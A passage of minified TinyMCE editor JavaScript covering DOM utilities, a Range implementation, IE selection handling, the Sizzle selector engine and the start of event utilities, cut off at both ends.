p;q=this.get(q);if(!q){return[]}if(d){p=[];if(q.nodeName=="OBJECT"){return q.attributes}if(q.nodeName==="OPTION"&&this.getAttrib(q,"selected")){p.push({specified:1,nodeName:"selected"})}q.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi,"").replace(/[\w:\-]+/gi,function(o){p.push({specified:1,nodeName:o})});return p}return q.attributes},destroy:function(p){var o=this;if(o.events){o.events.destroy()}o.win=o.doc=o.root=o.events=null;if(!p){m.removeUnload(o.destroy)}},createRng:function(){var o=this.doc;return o.createRange?o.createRange():new m.dom.Range(this)},nodeIndex:function(s,t){var o=0,q,r,p;if(s){for(q=s.nodeType,s=s.previousSibling,r=s;s;s=s.previousSibling){p=s.nodeType;if(t&&p==3){if(p==q||!s.nodeValue.length){continue}}o++;q=p}}return o},split:function(u,s,y){var z=this,o=z.createRng(),v,q,x;function p(A){var t,r=A.childNodes;if(A.nodeType==1&&A.getAttribute("_mce_type")=="bookmark"){return}for(t=r.length-1;t>=0;t--){p(r[t])}if(A.nodeType!=9){if(A.nodeType==3&&A.nodeValue.length>0){return}if(A.nodeType==1){r=A.childNodes;if(r.length==1&&r[0]&&r[0].nodeType==1&&r[0].getAttribute("_mce_type")=="bookmark"){A.parentNode.insertBefore(r[0],A)}if(r.length||/^(br|hr|input|img)$/i.test(A.nodeName)){return}}z.remove(A)}return A}if(u&&s){o.setStart(u.parentNode,z.nodeIndex(u));o.setEnd(s.parentNode,z.nodeIndex(s));v=o.extractContents();o=z.createRng();o.setStart(s.parentNode,z.nodeIndex(s)+1);o.setEnd(u.parentNode,z.nodeIndex(u)+1);q=o.extractContents();x=u.parentNode;x.insertBefore(p(v),u);if(y){x.replaceChild(y,s)}else{x.insertBefore(s,u)}x.insertBefore(p(q),u);z.remove(u);return y||s}},bind:function(s,o,r,q){var p=this;if(!p.events){p.events=new m.dom.EventUtils()}return p.events.add(s,o,r,q||this)},unbind:function(r,o,q){var p=this;if(!p.events){p.events=new m.dom.EventUtils()}return p.events.remove(r,o,q)},_findSib:function(r,o,p){var q=this,s=o;if(r){if(j(s,"string")){s=function(t){return q.is(t,o)}}for(r=r[p];r;r=r[p]){if(s(r)){return r}}}return null},_isRes:function(o){return/^(top|left|bottom|right|width|height)/i.test(o)||/;\s*(top|left|bottom|right|width|height)/i.test(o)}});m.DOM=new m.dom.DOMUtils(document,{process_html:0})})(tinymce);(function(a){function b(c){var N=this,e=c.doc,S=0,E=1,j=2,D=true,R=false,U="startOffset",h="startContainer",P="endContainer",z="endOffset",k=tinymce.extend,n=c.nodeIndex;k(N,{startContainer:e,startOffset:0,endContainer:e,endOffset:0,collapsed:D,commonAncestorContainer:e,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3,setStart:q,setEnd:s,setStartBefore:g,setStartAfter:I,setEndBefore:J,setEndAfter:u,collapse:A,selectNode:x,selectNodeContents:F,compareBoundaryPoints:v,deleteContents:p,extractContents:H,cloneContents:d,insertNode:C,surroundContents:M,cloneRange:K});function q(V,t){B(D,V,t)}function s(V,t){B(R,V,t)}function g(t){q(t.parentNode,n(t))}function I(t){q(t.parentNode,n(t)+1)}function J(t){s(t.parentNode,n(t))}function u(t){s(t.parentNode,n(t)+1)}function A(t){if(t){N[P]=N[h];N[z]=N[U]}else{N[h]=N[P];N[U]=N[z]}N.collapsed=D}function x(t){g(t);u(t)}function F(t){q(t,0);s(t,t.nodeType===1?t.childNodes.length:t.nodeValue.length)}function v(W,X){var Z=N[h],Y=N[U],V=N[P],t=N[z];if(W===0){return G(Z,Y,Z,Y)}if(W===1){return G(Z,Y,V,t)}if(W===2){return G(V,t,V,t)}if(W===3){return G(V,t,Z,Y)}}function p(){m(j)}function H(){return m(S)}function d(){return m(E)}function C(Y){var V=this[h],t=this[U],X,W;if((V.nodeType===3||V.nodeType===4)&&V.nodeValue){if(!t){V.parentNode.insertBefore(Y,V)}else{if(t>=V.nodeValue.length){c.insertAfter(Y,V)}else{X=V.splitText(t);V.parentNode.insertBefore(Y,X)}}}else{if(V.childNodes.length>0){W=V.childNodes[t]}if(W){V.insertBefore(Y,W)}else{V.appendChild(Y)}}}function M(V){var t=N.extractContents();N.insertNode(V);V.appendChild(t);N.selectNode(V)}function K(){return k(new b(c),{startContainer:N[h],startOffset:N[U],endContainer:N[P],endOffset:N[z],collapsed:N.collapsed,commonAncestorContainer:N.commonAncestorContainer})}function O(t,V){var W;if(t.nodeType==3){return t}if(V<0){return t}W=t.firstChild;while(W&&V>0){--V;W=W.nextSibling}if(W){return W}return t}function l(){return(N[h]==N[P]&&N[U]==N[z])}function G(X,Z,V,Y){var aa,W,t,ab,ad,ac;if(X==V){if(Z==Y){return 0}if(Z<Y){return -1}return 1}aa=V;while(aa&&aa.parentNode!=X){aa=aa.parentNode}if(aa){W=0;t=X.firstChild;while(t!=aa&&W<Z){W++;t=t.nextSibling}if(Z<=W){return -1}return 1}aa=X;while(aa&&aa.parentNode!=V){aa=aa.parentNode}if(aa){W=0;t=V.firstChild;while(t!=aa&&W<Y){W++;t=t.nextSibling}if(W<Y){return -1}return 1}ab=c.findCommonAncestor(X,V);ad=X;while(ad&&ad.parentNode!=ab){ad=ad.parentNode}if(!ad){ad=ab}ac=V;while(ac&&ac.parentNode!=ab){ac=ac.parentNode}if(!ac){ac=ab}if(ad==ac){return 0}t=ab.firstChild;while(t){if(t==ad){return -1}if(t==ac){return 1}t=t.nextSibling}}function B(V,Y,X){var t,W;if(V){N[h]=Y;N[U]=X}else{N[P]=Y;N[z]=X}t=N[P];while(t.parentNode){t=t.parentNode}W=N[h];while(W.parentNode){W=W.parentNode}if(W==t){if(G(N[h],N[U],N[P],N[z])>0){N.collapse(V)}}else{N.collapse(V)}N.collapsed=l();N.commonAncestorContainer=c.findCommonAncestor(N[h],N[P])}function m(ab){var aa,X=0,ad=0,V,Z,W,Y,t,ac;if(N[h]==N[P]){return f(ab)}for(aa=N[P],V=aa.parentNode;V;aa=V,V=V.parentNode){if(V==N[h]){return r(aa,ab)}++X}for(aa=N[h],V=aa.parentNode;V;aa=V,V=V.parentNode){if(V==N[P]){return T(aa,ab)}++ad}Z=ad-X;W=N[h];while(Z>0){W=W.parentNode;Z--}Y=N[P];while(Z<0){Y=Y.parentNode;Z++}for(t=W.parentNode,ac=Y.parentNode;t!=ac;t=t.parentNode,ac=ac.parentNode){W=t;Y=ac}return o(W,Y,ab)}function f(Z){var ab,Y,X,aa,t,W,V;if(Z!=j){ab=e.createDocumentFragment()}if(N[U]==N[z]){return ab}if(N[h].nodeType==3){Y=N[h].nodeValue;X=Y.substring(N[U],N[z]);if(Z!=E){N[h].deleteData(N[U],N[z]-N[U]);N.collapse(D)}if(Z==j){return}ab.appendChild(e.createTextNode(X));return ab}aa=O(N[h],N[U]);t=N[z]-N[U];while(t>0){W=aa.nextSibling;V=y(aa,Z);if(ab){ab.appendChild(V)}--t;aa=W}if(Z!=E){N.collapse(D)}return ab}function r(ab,Y){var aa,Z,V,t,X,W;if(Y!=j){aa=e.createDocumentFragment()}Z=i(ab,Y);if(aa){aa.appendChild(Z)}V=n(ab);t=V-N[U];if(t<=0){if(Y!=E){N.setEndBefore(ab);N.collapse(R)}return aa}Z=ab.previousSibling;while(t>0){X=Z.previousSibling;W=y(Z,Y);if(aa){aa.insertBefore(W,aa.firstChild)}--t;Z=X}if(Y!=E){N.setEndBefore(ab);N.collapse(R)}return aa}function T(Z,Y){var ab,V,aa,t,X,W;if(Y!=j){ab=e.createDocumentFragment()}aa=Q(Z,Y);if(ab){ab.appendChild(aa)}V=n(Z);++V;t=N[z]-V;aa=Z.nextSibling;while(t>0){X=aa.nextSibling;W=y(aa,Y);if(ab){ab.appendChild(W)}--t;aa=X}if(Y!=E){N.setStartAfter(Z);N.collapse(D)}return ab}function o(Z,t,ac){var W,ae,Y,aa,ab,V,ad,X;if(ac!=j){ae=e.createDocumentFragment()}W=Q(Z,ac);if(ae){ae.appendChild(W)}Y=Z.parentNode;aa=n(Z);ab=n(t);++aa;V=ab-aa;ad=Z.nextSibling;while(V>0){X=ad.nextSibling;W=y(ad,ac);if(ae){ae.appendChild(W)}ad=X;--V}W=i(t,ac);if(ae){ae.appendChild(W)}if(ac!=E){N.setStartAfter(Z);N.collapse(D)}return ae}function i(aa,ab){var W=O(N[P],N[z]-1),ac,Z,Y,t,V,X=W!=N[P];if(W==aa){return L(W,X,R,ab)}ac=W.parentNode;Z=L(ac,R,R,ab);while(ac){while(W){Y=W.previousSibling;t=L(W,X,R,ab);if(ab!=j){Z.insertBefore(t,Z.firstChild)}X=D;W=Y}if(ac==aa){return Z}W=ac.previousSibling;ac=ac.parentNode;V=L(ac,R,R,ab);if(ab!=j){V.appendChild(Z)}Z=V}}function Q(aa,ab){var X=O(N[h],N[U]),Y=X!=N[h],ac,Z,W,t,V;if(X==aa){return L(X,Y,D,ab)}ac=X.parentNode;Z=L(ac,R,D,ab);while(ac){while(X){W=X.nextSibling;t=L(X,Y,D,ab);if(ab!=j){Z.appendChild(t)}Y=D;X=W}if(ac==aa){return Z}X=ac.nextSibling;ac=ac.parentNode;V=L(ac,R,D,ab);if(ab!=j){V.appendChild(Z)}Z=V}}function L(t,Y,ab,ac){var X,W,Z,V,aa;if(Y){return y(t,ac)}if(t.nodeType==3){X=t.nodeValue;if(ab){V=N[U];W=X.substring(V);Z=X.substring(0,V)}else{V=N[z];W=X.substring(0,V);Z=X.substring(V)}if(ac!=E){t.nodeValue=Z}if(ac==j){return}aa=t.cloneNode(R);aa.nodeValue=W;return aa}if(ac==j){return}return t.cloneNode(R)}function y(V,t){if(t!=j){return t==E?V.cloneNode(D):V}V.parentNode.removeChild(V)}}a.Range=b})(tinymce.dom);(function(){function a(g){var i=this,j="\uFEFF",e,h,d=g.dom,c=true,f=false;function b(){var n=g.getRng(),k=d.createRng(),m,o;m=n.item?n.item(0):n.parentElement();if(m.ownerDocument!=d.doc){return k}if(n.item||!m.hasChildNodes()){k.setStart(m.parentNode,d.nodeIndex(m));k.setEnd(k.startContainer,k.startOffset+1);return k}o=g.isCollapsed();function l(s){var u,q,t,p,A=0,x,y,z,r,v;r=n.duplicate();r.collapse(s);u=d.create("a");z=r.parentElement();if(!z.hasChildNodes()){k[s?"setStart":"setEnd"](z,0);return}z.appendChild(u);r.moveToElementText(u);v=n.compareEndPoints(s?"StartToStart":"EndToEnd",r);if(v>0){k[s?"setStartAfter":"setEndAfter"](z);d.remove(u);return}p=tinymce.grep(z.childNodes);x=p.length-1;while(A<=x){y=Math.floor((A+x)/2);z.insertBefore(u,p[y]);r.moveToElementText(u);v=n.compareEndPoints(s?"StartToStart":"EndToEnd",r);if(v>0){A=y+1}else{if(v<0){x=y-1}else{found=true;break}}}q=v>0||y==0?u.nextSibling:u.previousSibling;if(q.nodeType==1){d.remove(u);t=d.nodeIndex(q);q=q.parentNode;if(!s||y>0){t++}}else{if(v>0||y==0){r.setEndPoint(s?"StartToStart":"EndToEnd",n);t=r.text.length}else{r.setEndPoint(s?"StartToStart":"EndToEnd",n);t=q.nodeValue.length-r.text.length}d.remove(u)}k[s?"setStart":"setEnd"](q,t)}l(true);if(!o){l()}return k}this.addRange=function(k){var p,n,m,r,u,s,t=g.dom.doc,o=t.body;function l(B){var x,A,v,z,y;v=d.create("a");x=B?m:u;A=B?r:s;z=p.duplicate();if(x==t){x=o;A=0}if(x.nodeType==3){x.parentNode.insertBefore(v,x);z.moveToElementText(v);z.moveStart("character",A);d.remove(v);p.setEndPoint(B?"StartToStart":"EndToEnd",z)}else{y=x.childNodes;if(y.length){if(A>=y.length){d.insertAfter(v,y[y.length-1])}else{x.insertBefore(v,y[A])}z.moveToElementText(v)}else{v=t.createTextNode(j);x.appendChild(v);z.moveToElementText(v.parentNode);z.collapse(c)}p.setEndPoint(B?"StartToStart":"EndToEnd",z);d.remove(v)}}this.destroy();m=k.startContainer;r=k.startOffset;u=k.endContainer;s=k.endOffset;p=o.createTextRange();if(m==u&&m.nodeType==1&&r==s-1){if(r==s-1){try{n=o.createControlRange();n.addElement(m.childNodes[r]);n.select();n.scrollIntoView();return}catch(q){}}}l(true);l();p.select();p.scrollIntoView()};this.getRangeAt=function(){if(!e||!tinymce.dom.RangeUtils.compareRanges(h,g.getRng())){e=b();h=g.getRng()}try{e.startContainer.nextSibling}catch(k){e=b();h=null}return e};this.destroy=function(){h=e=null};if(g.dom.boxModel){(function(){var q=d.doc,l=q.body,n,o;q.documentElement.unselectable=c;function p(r,u){var s=l.createTextRange();try{s.moveToPoint(r,u)}catch(t){s=null}return s}function m(s){var r;if(s.button){r=p(s.x,s.y);if(r){if(r.compareEndPoints("StartToStart",o)>0){r.setEndPoint("StartToStart",o)}else{r.setEndPoint("EndToEnd",o)}r.select()}}else{k()}}function k(){d.unbind(q,"mouseup",k);d.unbind(q,"mousemove",m);n=0}d.bind(q,"mousedown",function(r){if(r.target.nodeName==="HTML"){if(n){k()}n=1;o=p(r.x,r.y);if(o){d.bind(q,"mouseup",k);d.bind(q,"mousemove",m);o.select()}}})})()}}tinymce.dom.TridentSelection=a})();(function(){var p=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,j=0,d=Object.prototype.toString,o=false,i=true;[0,0].sort(function(){i=false;return 0});var b=function(v,e,z,A){z=z||[];e=e||document;var C=e;if(e.nodeType!==1&&e.nodeType!==9){return[]}if(!v||typeof v!=="string"){return z}var x=[],s,E,H,r,u=true,t=b.isXML(e),B=v,D,G,F,y;do{p.exec("");s=p.exec(B);if(s){B=s[3];x.push(s[1]);if(s[2]){r=s[3];break}}}while(s);if(x.length>1&&k.exec(v)){if(x.length===2&&f.relative[x[0]]){E=h(x[0]+x[1],e)}else{E=f.relative[x[0]]?[e]:b(x.shift(),e);while(x.length){v=x.shift();if(f.relative[v]){v+=x.shift()}E=h(v,E)}}}else{if(!A&&x.length>1&&e.nodeType===9&&!t&&f.match.ID.test(x[0])&&!f.match.ID.test(x[x.length-1])){D=b.find(x.shift(),e,t);e=D.expr?b.filter(D.expr,D.set)[0]:D.set[0]}if(e){D=A?{expr:x.pop(),set:a(A)}:b.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&e.parentNode?e.parentNode:e,t);E=D.expr?b.filter(D.expr,D.set):D.set;if(x.length>0){H=a(E)}else{u=false}while(x.length){G=x.pop();F=G;if(!f.relative[G]){G=""}else{F=x.pop()}if(F==null){F=e}f.relative[G](H,F,t)}}else{H=x=[]}}if(!H){H=E}if(!H){b.error(G||v)}if(d.call(H)==="[object Array]"){if(!u){z.push.apply(z,H)}else{if(e&&e.nodeType===1){for(y=0;H[y]!=null;y++){if(H[y]&&(H[y]===true||H[y].nodeType===1&&b.contains(e,H[y]))){z.push(E[y])}}}else{for(y=0;H[y]!=null;y++){if(H[y]&&H[y].nodeType===1){z.push(E[y])}}}}}else{a(H,z)}if(r){b(r,C,z,A);b.uniqueSort(z)}return z};b.uniqueSort=function(r){if(c){o=i;r.sort(c);if(o){for(var e=1;e<r.length;e++){if(r[e]===r[e-1]){r.splice(e--,1)}}}}return r};b.matches=function(e,r){return b(e,null,null,r)};b.find=function(y,e,z){var x;if(!y){return[]}for(var t=0,s=f.order.length;t<s;t++){var v=f.order[t],u;if((u=f.leftMatch[v].exec(y))){var r=u[1];u.splice(1,1);if(r.substr(r.length-1)!=="\\"){u[1]=(u[1]||"").replace(/\\/g,"");x=f.find[v](u,e,z);if(x!=null){y=y.replace(f.match[v],"");break}}}}if(!x){x=e.getElementsByTagName("*")}return{set:x,expr:y}};b.filter=function(C,B,F,u){var s=C,H=[],z=B,x,e,y=B&&B[0]&&b.isXML(B[0]);while(C&&B.length){for(var A in f.filter){if((x=f.leftMatch[A].exec(C))!=null&&x[2]){var r=f.filter[A],G,E,t=x[1];e=false;x.splice(1,1);if(t.substr(t.length-1)==="\\"){continue}if(z===H){H=[]}if(f.preFilter[A]){x=f.preFilter[A](x,z,F,H,u,y);if(!x){e=G=true}else{if(x===true){continue}}}if(x){for(var v=0;(E=z[v])!=null;v++){if(E){G=r(E,x,v,z);var D=u^!!G;if(F&&G!=null){if(D){e=true}else{z[v]=false}}else{if(D){H.push(E);e=true}}}}}if(G!==undefined){if(!F){z=H}C=C.replace(f.match[A],"");if(!e){return[]}break}}}if(C===s){if(e==null){b.error(C)}else{break}}s=C}return z};b.error=function(e){throw"Syntax error, unrecognized expression: "+e};var f=b.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+\-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(e){return e.getAttribute("href")}},relative:{"+":function(x,r){var t=typeof r==="string",v=t&&!/\W/.test(r),y=t&&!v;if(v){r=r.toLowerCase()}for(var s=0,e=x.length,u;s<e;s++){if((u=x[s])){while((u=u.previousSibling)&&u.nodeType!==1){}x[s]=y||u&&u.nodeName.toLowerCase()===r?u||false:u===r}}if(y){b.filter(r,x,true)}},">":function(x,r){var u=typeof r==="string",v,s=0,e=x.length;if(u&&!/\W/.test(r)){r=r.toLowerCase();for(;s<e;s++){v=x[s];if(v){var t=v.parentNode;x[s]=t.nodeName.toLowerCase()===r?t:false}}}else{for(;s<e;s++){v=x[s];if(v){x[s]=u?v.parentNode:v.parentNode===r}}if(u){b.filter(r,x,true)}}},"":function(t,r,v){var s=j++,e=q,u;if(typeof r==="string"&&!/\W/.test(r)){r=r.toLowerCase();u=r;e=n}e("parentNode",r,s,t,u,v)},"~":function(t,r,v){var s=j++,e=q,u;if(typeof r==="string"&&!/\W/.test(r)){r=r.toLowerCase();u=r;e=n}e("previousSibling",r,s,t,u,v)}},find:{ID:function(r,s,t){if(typeof s.getElementById!=="undefined"&&!t){var e=s.getElementById(r[1]);return e?[e]:[]}},NAME:function(s,v){if(typeof v.getElementsByName!=="undefined"){var r=[],u=v.getElementsByName(s[1]);for(var t=0,e=u.length;t<e;t++){if(u[t].getAttribute("name")===s[1]){r.push(u[t])}}return r.length===0?null:r}},TAG:function(e,r){return r.getElementsByTagName(e[1])}},preFilter:{CLASS:function(t,r,s,e,x,y){t=" "+t[1].replace(/\\/g,"")+" ";if(y){return t}for(var u=0,v;(v=r[u])!=null;u++){if(v){if(x^(v.className&&(" "+v.className+" ").replace(/[\t\n]/g," ").indexOf(t)>=0)){if(!s){e.push(v)}}else{if(s){r[u]=false}}}}return false},ID:function(e){return e[1].replace(/\\/g,"")},TAG:function(r,e){return r[1].toLowerCase()},CHILD:function(e){if(e[1]==="nth"){var r=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(e[2]==="even"&&"2n"||e[2]==="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(r[1]+(r[2]||1))-0;e[3]=r[3]-0}e[0]=j++;return e},ATTR:function(u,r,s,e,v,x){var t=u[1].replace(/\\/g,"");if(!x&&f.attrMap[t]){u[1]=f.attrMap[t]}if(u[2]==="~="){u[4]=" "+u[4]+" "}return u},PSEUDO:function(u,r,s,e,v){if(u[1]==="not"){if((p.exec(u[3])||"").length>1||/^\w/.test(u[3])){u[3]=b(u[3],null,null,r)}else{var t=b.filter(u[3],r,s,true^v);if(!s){e.push.apply(e,t)}return false}}else{if(f.match.POS.test(u[0])||f.match.CHILD.test(u[0])){return true}}return u},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){e.parentNode.selectedIndex;return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(s,r,e){return !!b(e[3],s).length},header:function(e){return(/h\d/i).test(e.nodeName)},text:function(e){return"text"===e.type},radio:function(e){return"radio"===e.type},checkbox:function(e){return"checkbox"===e.type},file:function(e){return"file"===e.type},password:function(e){return"password"===e.type},submit:function(e){return"submit"===e.type},image:function(e){return"image"===e.type},reset:function(e){return"reset"===e.type},button:function(e){return"button"===e.type||e.nodeName.toLowerCase()==="button"},input:function(e){return(/input|select|textarea|button/i).test(e.nodeName)}},setFilters:{first:function(r,e){return e===0},last:function(s,r,e,t){return r===t.length-1},even:function(r,e){return e%2===0},odd:function(r,e){return e%2===1},lt:function(s,r,e){return r<e[3]-0},gt:function(s,r,e){return r>e[3]-0},nth:function(s,r,e){return e[3]-0===r},eq:function(s,r,e){return e[3]-0===r}},filter:{PSEUDO:function(s,y,x,z){var e=y[1],r=f.filters[e];if(r){return r(s,x,y,z)}else{if(e==="contains"){return(s.textContent||s.innerText||b.getText([s])||"").indexOf(y[3])>=0}else{if(e==="not"){var t=y[3];for(var v=0,u=t.length;v<u;v++){if(t[v]===s){return false}}return true}else{b.error("Syntax error, unrecognized expression: "+e)}}}},CHILD:function(e,t){var x=t[1],r=e;switch(x){case"only":case"first":while((r=r.previousSibling)){if(r.nodeType===1){return false}}if(x==="first"){return true}r=e;case"last":while((r=r.nextSibling)){if(r.nodeType===1){return false}}return true;case"nth":var s=t[2],A=t[3];if(s===1&&A===0){return true}var v=t[0],z=e.parentNode;if(z&&(z.sizcache!==v||!e.nodeIndex)){var u=0;for(r=z.firstChild;r;r=r.nextSibling){if(r.nodeType===1){r.nodeIndex=++u}}z.sizcache=v}var y=e.nodeIndex-A;if(s===0){return y===0}else{return(y%s===0&&y/s>=0)}}},ID:function(r,e){return r.nodeType===1&&r.getAttribute("id")===e},TAG:function(r,e){return(e==="*"&&r.nodeType===1)||r.nodeName.toLowerCase()===e},CLASS:function(r,e){return(" "+(r.className||r.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(v,t){var s=t[1],e=f.attrHandle[s]?f.attrHandle[s](v):v[s]!=null?v[s]:v.getAttribute(s),x=e+"",u=t[2],r=t[4];return e==null?u==="!=":u==="="?x===r:u==="*="?x.indexOf(r)>=0:u==="~="?(" "+x+" ").indexOf(r)>=0:!r?x&&e!==false:u==="!="?x!==r:u==="^="?x.indexOf(r)===0:u==="$="?x.substr(x.length-r.length)===r:u==="|="?x===r||x.substr(0,r.length+1)===r+"-":false},POS:function(u,r,s,v){var e=r[2],t=f.setFilters[e];if(t){return t(u,s,r,v)}}}};var k=f.match.POS,g=function(r,e){return"\\"+(e-0+1)};for(var m in f.match){f.match[m]=new RegExp(f.match[m].source+(/(?![^\[]*\])(?![^\(]*\))/.source));f.leftMatch[m]=new RegExp(/(^(?:.|\r|\n)*?)/.source+f.match[m].source.replace(/\\(\d+)/g,g))}var a=function(r,e){r=Array.prototype.slice.call(r,0);if(e){e.push.apply(e,r);return e}return r};try{Array.prototype.slice.call(document.documentElement.childNodes,0)[0].nodeType}catch(l){a=function(u,t){var r=t||[],s=0;if(d.call(u)==="[object Array]"){Array.prototype.push.apply(r,u)}else{if(typeof u.length==="number"){for(var e=u.length;s<e;s++){r.push(u[s])}}else{for(;u[s];s++){r.push(u[s])}}}return r}}var c;if(document.documentElement.compareDocumentPosition){c=function(r,e){if(!r.compareDocumentPosition||!e.compareDocumentPosition){if(r==e){o=true}return r.compareDocumentPosition?-1:1}var s=r.compareDocumentPosition(e)&4?-1:r===e?0:1;if(s===0){o=true}return s}}else{if("sourceIndex" in document.documentElement){c=function(r,e){if(!r.sourceIndex||!e.sourceIndex){if(r==e){o=true}return r.sourceIndex?-1:1}var s=r.sourceIndex-e.sourceIndex;if(s===0){o=true}return s}}else{if(document.createRange){c=function(t,r){if(!t.ownerDocument||!r.ownerDocument){if(t==r){o=true}return t.ownerDocument?-1:1}var s=t.ownerDocument.createRange(),e=r.ownerDocument.createRange();s.setStart(t,0);s.setEnd(t,0);e.setStart(r,0);e.setEnd(r,0);var u=s.compareBoundaryPoints(Range.START_TO_END,e);if(u===0){o=true}return u}}}}b.getText=function(e){var r="",t;for(var s=0;e[s];s++){t=e[s];if(t.nodeType===3||t.nodeType===4){r+=t.nodeValue}else{if(t.nodeType!==8){r+=b.getText(t.childNodes)}}}return r};(function(){var r=document.createElement("div"),s="script"+(new Date()).getTime();r.innerHTML="<a name='"+s+"'/>";var e=document.documentElement;e.insertBefore(r,e.firstChild);if(document.getElementById(s)){f.find.ID=function(u,v,x){if(typeof v.getElementById!=="undefined"&&!x){var t=v.getElementById(u[1]);return t?t.id===u[1]||typeof t.getAttributeNode!=="undefined"&&t.getAttributeNode("id").nodeValue===u[1]?[t]:undefined:[]}};f.filter.ID=function(v,t){var u=typeof v.getAttributeNode!=="undefined"&&v.getAttributeNode("id");return v.nodeType===1&&u&&u.nodeValue===t}}e.removeChild(r);e=r=null})();(function(){var e=document.createElement("div");e.appendChild(document.createComment(""));if(e.getElementsByTagName("*").length>0){f.find.TAG=function(r,v){var u=v.getElementsByTagName(r[1]);if(r[1]==="*"){var t=[];for(var s=0;u[s];s++){if(u[s].nodeType===1){t.push(u[s])}}u=t}return u}}e.innerHTML="<a href='#'></a>";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){f.attrHandle.href=function(r){return r.getAttribute("href",2)}}e=null})();if(document.querySelectorAll){(function(){var e=b,s=document.createElement("div");s.innerHTML="<p class='TEST'></p>";if(s.querySelectorAll&&s.querySelectorAll(".TEST").length===0){return}b=function(x,v,t,u){v=v||document;if(!u&&v.nodeType===9&&!b.isXML(v)){try{return a(v.querySelectorAll(x),t)}catch(y){}}return e(x,v,t,u)};for(var r in e){b[r]=e[r]}s=null})()}(function(){var e=document.createElement("div");e.innerHTML="<div class='test e'></div><div class='test'></div>";if(!e.getElementsByClassName||e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}f.order.splice(1,0,"CLASS");f.find.CLASS=function(r,s,t){if(typeof s.getElementsByClassName!=="undefined"&&!t){return s.getElementsByClassName(r[1])}};e=null})();function n(r,x,v,A,y,z){for(var t=0,s=A.length;t<s;t++){var e=A[t];if(e){e=e[r];var u=false;while(e){if(e.sizcache===v){u=A[e.sizset];break}if(e.nodeType===1&&!z){e.sizcache=v;e.sizset=t}if(e.nodeName.toLowerCase()===x){u=e;break}e=e[r]}A[t]=u}}}function q(r,x,v,A,y,z){for(var t=0,s=A.length;t<s;t++){var e=A[t];if(e){e=e[r];var u=false;while(e){if(e.sizcache===v){u=A[e.sizset];break}if(e.nodeType===1){if(!z){e.sizcache=v;e.sizset=t}if(typeof x!=="string"){if(e===x){u=true;break}}else{if(b.filter(x,[e]).length>0){u=e;break}}}e=e[r]}A[t]=u}}}b.contains=document.compareDocumentPosition?function(r,e){return !!(r.compareDocumentPosition(e)&16)}:function(r,e){return r!==e&&(r.contains?r.contains(e):true)};b.isXML=function(e){var r=(e?e.ownerDocument||e:0).documentElement;return r?r.nodeName!=="HTML":false};var h=function(e,y){var t=[],u="",v,s=y.nodeType?[y]:y;while((v=f.match.PSEUDO.exec(e))){u+=v[0];e=e.replace(f.match.PSEUDO,"")}e=f.relative[e]?e+"*":e;for(var x=0,r=s.length;x<r;x++){b(e,s[x],t)}return b.filter(u,t)};window.tinymce.dom.Sizzle=b})();(function(d){var f=d.each,c=d.DOM,b=d.isIE,e=d.isWebKit,a;d.create("tinymce.dom.EventUtils",{EventUtils:function(){this.inits=[];this.events=[]},add:function(m,p,l,j){var g,h=this,i=h.events,k;if(p instanceof Array){k=[];f(p,function(o){k.push(h.add(m,o,l,j))});return k}if(m&&m.hasOwnProperty&&m instanceof Array){k=[];f(m,function(n){n=c.get(n);k.push(h.add(n,p,l,j))});return k}m=c.get(m);if(!m){return}g=function(n){if(h.disabled){return}n=n||window.event;if(n&&b){if(!n.target){n.target=n.srcElement}d.extend(n,h._stoppers)}if(!j){return l(n)}return l.call(j,n)};if(p=="unload"){d.unloads.unshift({func:g});return g}if(p=="init"){if(h.domLoaded){g()}else{h.inits.push(g)}return g}i.push({obj:m,name:p,func:l,cfunc:g,scope:j});h._add(m,p,g);return l},remove:function(l,m,k){var h=this,g=h.events,i=false,j;if(l&&l.hasOwnProperty&&l instanceof Array){j=[];f(l,function(n){n=c.get(n);j.push(h.remove(n,m,k))});return j}l=c.get(l);f(g,function(o,n){if(o.obj==l&&o.name==m&&(!k||(o.func==k||o.cfunc==k))){g.splice(n,1);h._remove(l,m,o.cfunc);i=true;return false}});return i},clear:function(l){var j=this,g=j.events,h,k;if(l){l=c.get(l);for(h=g.length-1;h>=0;h--){k=g[h];if(k.obj===l){j._remove(k.obj,k.name,k.cfunc);k.obj=k.cfunc=null;g.splice(h,1)}}}},cancel:function(g){if(!g){return false}this.stop(g);return this.prevent(g)},stop:function(g){if(g.stopPropagation){g.stopPropagation()}else{g.cancelBubble=true}return false},prevent:function(g){if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false},destroy:function(){var 